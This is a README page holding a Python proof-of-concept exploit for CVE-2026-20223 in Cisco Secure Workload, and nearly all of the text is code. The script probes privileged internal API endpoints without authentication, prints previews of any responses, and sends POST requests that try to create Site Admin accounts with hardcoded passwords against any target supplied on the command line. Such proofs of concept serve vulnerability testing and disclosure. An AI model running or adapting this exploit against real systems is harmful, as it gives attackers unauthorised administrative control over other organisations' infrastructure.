README.md
Rendering markdown...
import requests
import json
import urllib3
import logging
import sys
import argparse
from urllib.parse import urljoin
from datetime import datetime
# Disable SSL warnings for lab environments
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CiscoSecureWorkloadPoC:
def __init__(self, target_url, log_file=None):
self.target = target_url.rstrip('/')
self.logger = self._setup_logging(log_file)
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (compatible; PoC-CVE-2026-20223)',
'Content-Type': 'application/json'
})
def _setup_logging(self, log_file=None):
logger = logging.getLogger('CVE-2026-20223')
logger.setLevel(logging.INFO)
# Console handler
console_handler = logging.StreamHandler(sys.stdout)
console_handler.setLevel(logging.INFO)
console_format = logging.Formatter('[%(levelname)s] %(message)s')
console_handler.setFormatter(console_format)
# File handler (optional)
if log_file:
file_handler = logging.FileHandler(log_file)
file_handler.setLevel(logging.DEBUG)
file_format = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
file_handler.setFormatter(file_format)
logger.addHandler(file_handler)
logger.addHandler(console_handler)
return logger
def test_unauth_site_admin_access(self):
"""Test direct access to privileged internal APIs"""
endpoints = [
"/api/v1/users",
"/api/v1/roles",
"/api/v1/sites",
"/api/v1/admin/users",
"/api/v1/internal/agents",
"/api/v1/scopes",
"/api/v1/policies",
"/api/v1/system/info",
]
self.logger.info(f"Starting CVE-2026-20223 vulnerability test against: {self.target}")
self.logger.info(f"Test started at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
vulnerable_endpoints = []
for endpoint in endpoints:
url = urljoin(self.target, endpoint)
try:
# GET Request
self.logger.debug(f"Testing GET {endpoint}")
resp = self.session.get(url, timeout=12)
status = resp.status_code
self.logger.info(f"GET {endpoint:40} → {status}", extra={'status': status})
if status in [200, 201, 204]:
self.logger.warning(f"✅ VULNERABLE: {endpoint} returned {status} without authentication!")
vulnerable_endpoints.append(endpoint)
try:
if resp.text and len(resp.text) < 800:
preview = resp.text[:300].replace('\n', ' ')
self.logger.info(f" Preview: {preview}...")
except:
pass
elif status == 401:
self.logger.info(f"🔒 {endpoint} requires authentication (likely patched)")
elif status == 403:
self.logger.info(f"🚫 {endpoint} returned Forbidden")
else:
self.logger.info(f" {endpoint} returned unexpected status: {status}")
# Try POST if GET was successful
if status in [200, 201, 204]:
self._test_post(endpoint, url)
except requests.exceptions.Timeout:
self.logger.error(f"⏱️ Timeout while accessing {endpoint}")
except requests.exceptions.ConnectionError:
self.logger.error(f"❌ Connection refused / unreachable: {endpoint}")
except requests.exceptions.RequestException as e:
self.logger.error(f"❌ Request error on {endpoint}: {str(e)}")
except Exception as e:
self.logger.error(f"❌ Unexpected error on {endpoint}: {str(e)}")
if vulnerable_endpoints:
self.logger.critical(f"\n🚨 POTENTIALLY VULNERABLE! Found {len(vulnerable_endpoints)} exposed endpoints.")
else:
self.logger.info("\n✅ No obvious unauthenticated access detected (may be patched).")
def _test_post(self, endpoint, url):
"""Test POST request on vulnerable endpoints"""
try:
payload = {
"username": "poc_cve202620223",
"password": "PocPass123!@#",
"role": "Site Admin",
"email": "[email protected]",
"firstName": "PoC",
"lastName": "CVE-2026-20223"
}
resp = self.session.post(url, json=payload, timeout=10)
self.logger.info(f"POST {endpoint:40} → {resp.status_code}")
if resp.status_code in [200, 201]:
self.logger.critical("🎯 SUCCESS: Able to create Site Admin user via unauthenticated API!")
try:
self.logger.info(json.dumps(resp.json(), indent=2))
except:
self.logger.info(resp.text[:400])
except Exception as e:
self.logger.debug(f"POST test failed on {endpoint}: {str(e)}")
def create_admin_user(self):
"""Attempt to create a new Site Admin user"""
self.logger.info("\n[+] Attempting to create Site Admin user...")
url = urljoin(self.target, "/api/v1/users")
payload = {
"username": "cve202620223_admin",
"password": "Poc123!@#",
"role": "Site Admin",
"email": "[email protected]",
"firstName": "CVE",
"lastName": "2026-20223"
}
try:
resp = self.session.post(url, json=payload, timeout=10)
if resp.status_code in [200, 201]:
self.logger.critical("✅ Successfully created Site Admin user!")
try:
self.logger.info(json.dumps(resp.json(), indent=2))
except:
self.logger.info(resp.text)
else:
self.logger.error(f"❌ Failed to create user. Status: {resp.status_code}")
self.logger.debug(f"Response: {resp.text[:500]}")
except Exception as e:
self.logger.error(f"❌ Error creating admin user: {str(e)}")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-20223 PoC - Cisco Secure Workload")
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://secure-workload.company.com)")
parser.add_argument("-l", "--log", help="Log file path (optional)")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.DEBUG)
poc = CiscoSecureWorkloadPoC(args.target, args.log)
try:
poc.test_unauth_site_admin_access()
poc.create_admin_user()
except KeyboardInterrupt:
poc.logger.info("\n[!] Test interrupted by user.")
except Exception as e:
poc.logger.critical(f"Critical error: {str(e)}")
if __name__ == "__main__":
main()